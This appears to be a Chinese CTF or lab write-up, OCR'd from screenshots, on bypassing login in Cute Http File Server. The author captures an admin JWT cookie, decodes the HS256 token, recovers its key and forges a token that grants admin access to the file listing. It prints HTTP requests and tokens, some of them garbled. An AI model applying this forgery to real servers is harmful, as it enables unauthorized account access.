

Cute Http File Server jwt

[获取admin的Cookie](#)

[JWT解密与伪造](#)

[实验效果](#)

[before login](#)

[successful jwt forgery](#)

获取admin的Cookie

该项目无注册功能,故本地搭建环境,注册admin用户,获取其Cookie

```
JavaScript |
1 GET / HTTP/1.1
2 Host: 192.168.129.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/2010
0101 Firefox/122.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie:
9   JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2MiOiJhZG1pb2IiImV4cCI6MTc
```

JWT解密与伪造

JWT解密,payload中只含有我们刚才注册的admin用户,而不检验目前用户的密码.同时且对称密钥也解出来了.自此便可利用jwt实现任意身份的登录.

jwt解密/加密

编码区域

JWT Token

复制

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbnVudCI6ImFkbWUiLCJleHAiOiE3MDgyNjQ2ODR9.fTqcZ1xo1wi2VETxwBNzw72X3QHhELvsxW0WIVavgmU

操作区域

签名算法:

HS256

← 编码

→ 解码

✓ 校验

Unix 时间互转

解码区域

头部/Header

随机 复制

{
"alg": "HS256",
"typ": "JWT"
}

载荷/Payload

随机 复制

{
"acc": "admin",
"exp": 1708264684
}

对称密钥

随机

json.cn

实验效果

before login

上传文件 上传目录 新建文本 新建目录 在

根目录

文件^

test

10.txt

ctf寒假学习.txt

操作

18 20:16:31

18 20:15:39

18 20:15:26

登录

用户登录

用户:

密码:

登录

存储 调试器 网络 样式编辑器 性能 内存 无障碍环境 应用程序 HackBar

项目过滤器

名称	值	Domain	Path	Expires / Max-Age	大小	HttpOnly	Secure	SameSite	最后访问
/7d21e0ad-9da7-40f9-99be-f8ccb0d00f...	value	192.168.12...	/	Mon, 19 Feb 2024 13:25:32 G...	13	false	false	Lax	Sun, 18 Feb 2024 13:52:25 G...

successful jwt forgery

在当前页面中搜索...



admin

根目录

文件^

大小

修改时间

操作



test

2024-02-18 20:16:31



10.txt

37B

2024-02-18 20:15:39



ctf寒假学习.txt

227B

2024-02-18 20:15:26



存储

调试器

网络

样式编辑器

性能

内存

无障碍环境

应用程序

HackBar

项目过滤器

名称	值	Domain	Path	Expires / Max-Age	大小
JWT	eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbnV4IjoiYm9keSIsImV4cCI6MTcwODI2NDY4NH0.Xc17bu...	192.168.12...	/	Mon, 19 Feb 2024 1...	127
user	admin	192.168.12...	/	Mon, 19 Feb 2024 1...	9
{7577592a-6eaa-40af-95e9-...	value	192.168.12...	/	Mon, 19 Feb 2024 1...	43